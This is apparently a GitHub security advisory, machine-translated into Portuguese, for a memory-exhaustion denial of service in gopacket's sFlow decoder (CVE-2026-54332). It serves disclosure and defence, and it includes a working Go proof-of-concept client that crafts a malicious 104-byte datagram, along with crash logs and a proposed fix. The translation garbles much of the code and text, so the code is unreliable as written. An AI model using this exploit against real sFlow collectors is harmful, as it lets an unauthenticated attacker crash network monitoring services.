O descodificador de registro sFlow `ExtendedGatewayFlow` em `github.com/gopacket/gopacket` aloca uma fatia com `make([]uint 32, n)` onde `n` é um atacante controlado 32 - campo de fio de bits que não tem limite superior. Como a alocação acontece * antes de* o loop de leitura que consumiria os bytes correspondentes, um pequeno datagrama UDP pode forçar uma alocação de vários gigabytes. A 104 -byte sFlow datagram pode solicitar até 16 O GiB e o OOM matam qualquer serviço que analise sFlow com gopacket. Este é um remote não autenticado negação de serviço (CWE- 770 ). ## Causa raíz (ficheiro: linha @ v 1.6.0 ). Dois afundamentos em ` camadas/ sflow.go`, ambos no `ExtendedGatewayFlow` (tipo de registro) 1003 ) decodificar o caminho: 1. ` camadas/ sflow.go: 1306 ` em `decodeExtendedGatewayFlowRecord`: ```go *data, comunidadesLongueza = (*data)[ 4:], binário.BigEndian.Uint 32 ((* dados)[: 4 ]) por exemplo, comunidades = make([]uint 32, comunidadesLongth) // comunidadesLongth é um uint de fio bruto 32, sem ligação para j:= uint 32 ( 0 ); j < comunidadesLongueza; j++ {... } ``` 2. ` camadas/ sflow.go: 1276 ` em ` decodePath` (um ajudante chamado do mesmo decodificador de registro): ```go *data, ad.Conte = (*data)[ 4:], binário.BigEndian.Uint 32 ((* dados)[: 4 ]) Ad.Membros = make([]uint 32, ad.Count) // ad.Count é um uint de fio bruto 32, sem ligação para i:= uint 32 ( 0 ); i < ad. Count; i++ {... } `` '.

Em ambos os casos, o `make` é executado antes do loop que lê os bytes do elemento, por isso o tamanho da alocação é totalmente determinado pelo campo de contagem fornecido pelo atacante e nunca é verificado contra o número de bytes que realmente permanecem no pacote. `comunitiesLongth = 0 xFFFFFFFF` solicita `make([]uint 32, 4294967295 )` = 16,384 MB ( 16 - O que é isso? ## Reachability (agressor remoto -> afundar). O decodificador `LayerTypeSFlow` registrado analisa os dados do fio: `SFlowDatagram.Decode FromBytes` (sflow.go: 302 ) -> `Loop de SampleCount` -> `decodeFlowSample(expanded=false)` (sflow.go: 458 ) -> Formato de registro ` RecordCount` loop -> 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go: 573 ) -> `decodeExtendedGatewayFlowRecord` (sflow.go: 1284 ) -> afundar na linha 1306 (e linha) 1276 através do ramo ` ASPAth` -> ` decodePath`. o sFlow é um protocolo de telemetria de rede baseado em UDP; os coletores são construídos em dados de processo de gopacket enviados (ou enviados por interruptores/ roteadores) da rede. Não está envolvida nenhuma autenticação, então qualquer hospedeiro que possa entregar um pacote UDP para tal coletor pode desencadear o aquecimento. O mesmo registro alcançado via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket. Default)` é igualmente afetado.

Negação de serviço remota não autenticada por meio de exaustão de memória. Um único 104 -byte datagram controla uma alocação de até 16 GiB, OOM- matando o processo de análise. Não há corrupção de memória e não há execução de código — o impacto é a terminação do processo / exaustão de recursos. Severidade avaliada como Médio (DoS remoto não autenticado, nenhuma violação da segurança da memória). Este PoC é um teste de ponta a ponta contra um verdadeiro coletor sFlow implantado. Um coletor UDP mínimo mas realista (construído na API de gopackets públicos, exatamente como um coletor de telemetria de rede real seria) corre dentro de um cobrimento rígido 256 Contêiner MB; um processo independente do cliente envia um dadograma malicioso real do sFlow sobre um socket UDP real; o processo do coletor é então observado morrer. Um datagrama benigno é usado como um controle negativo. Os pins do arnês `github.com/gopacket/gopacket@v 1.6.0 ` (o pia é confirmado no v 1.6.0 tag, `layers/ sflow.go: 1306 `). ### Coletor (real coletor de SFlow UDP). ```go // collector.go — liga um socket UDP e, para cada datagrama, constrói um // gopacket.Packet enraizado em LayerTypeSFlow e acessando a camada, que controla // o decodificador sFlow registrado sobre os bytes controlados pelo atacante. pacote principal.

importar ( "fmt" "net" "os". "github.com/gopacket/gopacket" "github.com/gopacket/gopacket/camas" ) Func main() { udpAddr, _:= net.ResolverUDPAddr("udp 4 ", " 0.0.0.0: 6343 ") conn, err:= net.ListenUDP("udp 4 ", udpAddr) se err!= nul { fmt.Fprintf(os.Stderr, "escuta o erro:%v\n", err) os.Exit( 1 ) } def. conn.Fechar() fmt.Printf("[coletor] sFlow collector ouvindo no udp%s\n", conn.LocalAddr()) buf:= make([]byte, 65535 ) para { n, src, err:= conn.ReadFromUDP(buf) se err!= nil { continuar } datagram:= make([]byte, n) copy(datagram, buf[:n]) fmt.Printf("[coletor] recebeu%d-byte datagram de%s\n", n, src) pkt:= gopacket.NewPacket(datagram, strates.LayerTypeSFlow, gopacket.Default) se dg, ok:= pkt.Layer(layers.LayerTypeSFlow).(* layers.SFlowDatagram); ok { fmt.Printf("[coletor] descodificado sFlow datagram: versão=%d samples=%d flowSemples=%d d\n, dg.DatagramVersão, dg.SampleCount, len(d.FlowSms) fn}} ### Cliente (processo independente, socket UDP real, sem dependência de gopacket). O cliente faz um sFlow bem formado v 5 datagram com uma amostra de FlowSamble carregando um ExtendedGatewayFlow (tipo de registro) 1003 ) gravar e definir apenas o campo `ComunitiesLength`. Para o caso benigno, ele adiciona palavras reais de comunidade, além da palavra localpref, para que o registro descodifique limpo.

`` `go // client.go — uso: cliente [--benign] pacote principal. Importação ( "codificação/binaria" "fmt" "rede" "os" "strconv" ) func u 32 (b *[]byte, v uint 32 ) { t:= make([]byte, 4 ) binário.BigEndian.PutUint 32 (t, v) *b = apêndice(*b, t...) } Func buildDatagram(commLen uint 32, bool benigno) []byte { var d []byte u 32 (& d, 5 ); u 32 (& d, 1 ); u 32 (& d, 0 x 7 f 000001 ); u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ) u 32 (& d, 1 ) // SampleCount = 1 u 32 (& d, 1 ) // formato de amostra -> FlowSample u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ) u 32 (& d, 1 ) // RecordCount = 1 u 32 (& d, 1003 ) // formato de registro -> ExtendedGatewayFlow u 32 (& d, 0 ) // FlowDataLongth u 32 (& d, 1 ) // tipo de endereço de gateway = IPv 4 u 32 (& d, 0 x 08080808 ) // NextHop u 32 (& d, 0 ); u 32 (& d, 0 ); u 32 (& d, 0 ) u 32 (& d, 0 ) // ASPAthCount = 0 u 32 (&d, commLen) // comunidadesLongueza -> make([]uint 32, commLen) afunda se benigno { para i:= uint 32 ( 0 ); i < commLen; i++ { u 32 (& d, 0 xABCD 0000 + i) } u 32 (& d, 100 ) // seguindo a palavra LocalPref } retorna d } func main() { addr:= os.Args[ 1 ] commLen, _:= strconv.ParseUint(os.Args[ 2 ], 10, 32 ) benigno:= len(os.Args) > 3 & & os.Args[ 3 ] == Dados "--benign":= buildDatagram(uint 32 (commLen), benigno) raddr, _:= net.ResolverUDPAddr("udp", addr) conn, _:= net.DialUDP("udp", nil, raddr) defter conn.Fesh() conn.Write(data) fmt.Printf("[cliente] enviado%d-byte sFlow datagram (comunidadesLongth=%d, benign=%v)\n", len(data), commLen, benigno) } ```````````````````````````````````````````````````````````````````````````````````````````````````````````````''''''''.

### Executar e observar o resultado. O coletor corre sob um duro 256 Cap de MB cgroup com swap desativado (`--memory= 256 m --memória- swap= 256 m`) assim o OOM está contido no cgroup e o host não está afetado. Controle negativo (datograma benigno, `comunidadesLongueza= 4 `). ``` $ docker run -- rm -- network sflow- net sflow-client-e 2 e sflow-e 2 e: 6343 4 --benign [cliente] enviado 124 -byte sFlow datagram (comunidadesLongth= 4, benigno=verdadeiro) # log do coletor: [coletor] recebido 124 -byte datagram from 172.18.0.3: 56438 [collector] descodificado sFlow datagram: version= 5 amostras= 1 fluxoExemplos= 1 # status do coletor: para cima (VIVO); RSS plana em 1.5 MiB ``` Ataque (single malicious datagram, `comunitiesLength= 0 xFFFFFFFF`. ``` $ docker run -- rm -- network sflow- net sflow-client-e 2 e sflow-e 2 e: 6343 4294967295 [cliente] este datagram instrui o decodificador a fazer([]uint 32, 4294967295 ) = 16384 MB [cliente] datagram enviado sobre socket UDP real.

# log do coletor (verbatim): [collector] recebido 104 -byte datagram from 172.18.0.3: 42284 erro fatal: tempo de execução: fora de memória imployd de runtime: runtime.throw(...) runtime.sysMapoOS( 0 x 61585 e 800000, 0 x 400000000,...) // 0 x 400000000 = 16 O GiB pediu runtime.makeslice(...) /usr/local/go/ src/ runtime/slice.go: 117 gthub.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...) /go/pkg/mod/github.com/gopacket/gopacket@v 1.6.0 /layers/ sflow.go: 1306 gythub.com/gopacket/gopacket/layers.decodeFlowSample(...) /go/pkg/mod/github.com/gopacket/gopacket@v 1.6.0 /layers/ sflow.go: 574 gythub.com/gopacket/gopacket/layers.(*SFlowDatagram).Decode FromBytes(...) /go/pkg/mod/github.com/gopacket/gopacket@v 1.6.0 /layers/ sflow.go: 321 gythub.com/gopacket/gopacket.NewPacket(...) /go/pkg/mod/github.com/gopacket/gopacket@v 1.6.0 /packet.go: 767 main.main() /src/ collector.go: 54 # estado final do recipiente: Status=exited OOMKiled=false ExitCode= 2 ```. Um único 104 -byte UDP datagram, entregue em um socket real para um coletor baseado em gopacket real, termina o processo de coletor. O tempo de execução de Go tenta o ` sysMapoOS` 0 x 400000000 ( 16 GiB) para o 256 MB cgroup, o mapeamento é negado, e o tempo de execução aborta com ` erro fatal: tempo de execução: fora de memória ' (exit 2 ). A pilha de chamadas de agressor -> é capturada: `collector.go: 54 ` (`gopacket.NewPacket`) -> `SFlowDatagram.Decode FromBytes` -> `decodeFlowSample` (sflow.go: 574 ) -> `decodeExtendedGatewayFlowRecord` (sflow.go: 1306 ) -> `makeslice` -> fatal OOM. O controle benigno no mesmo coletor decodifica limpo e o processo permanece vivo com o RSS plano, confirmando o campo de `comunidades' de comprimento ' controlado pelo atacante é o que impulsiona a alocação. O hospedeiro não é afetado em todo o tempo: a alocação é contida pelo 256 MB cgroup cap (sem troca), e o swap host ficou acima 900 MB livre através da corrida.

`github.com/gopacket/gopacket` <= v 1.6.0 (v) 1.6.0 é a última versão; HEAD == tag). As versões anteriores que carregam o mesmo código de decodificação `couches/ sflow.go` também são afetadas. Antes de cada ` make([]uint 32, n)`, validar `n` contra o número de bytes que realmente permanecem no datagram. Cada elemento consome 4 bytes no fio, por isso um limite superior correto é ` remaining_bytes / 4 `; qualquer contagem maior do que essa não pode ser apoiada por dados de pacotes reais e deve ser rejeitada com um erro de decodificação (comparando com os `erros. Novo` / `fmt.Errorf` estilo de erro neste arquivo), em vez de pré- alocação. Isto protege a alocação com o tamanho do datagram e elimina a amplificação: - `decodeExtendedGatewayFlowRecord`: rejeitar quando `comunidadesLongueza > uint 32 (len( * data)/ 4 )` antes de ` make([]uint 32, comunidadesLongueza)`. - `decodePath`: rejeitar quando `ad.Conta > uint 32 (len( * data)/ 4 )` antes de ` make([]uint 32, ad.Count)`, e propagar o erro para o chamador. Vou acompanhar com um PR corrigido através do garfo privado do aconselhamento.

- versão sFlow 5 especificação ( 5.txt), seção no registro de fluxo_dados extendida_gateway (comunidades / listas de dst_as_path). - CWE- 770: Alocação de recursos sem limites ou arrastamento. Registro de aconselhamento: GHSA- g 6 v 3 - 7 xmc-w 563. Identificadores relacionados: CVE- 2026 - 54332. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 28 T 16: 17: 26.000 Z e lista a sua última modificação como 2026 - 07 - 28 T 16: 17: 26.000 Z.

Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/África do Sul:N. Software afetado e informações de versão: Go pacote github.com/gopacket/gopacket — ECOSISTEM: introduzido 0, corrigido 1.6.1. Classificação e evidência: identificadores de fraqueza CWE- 770. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.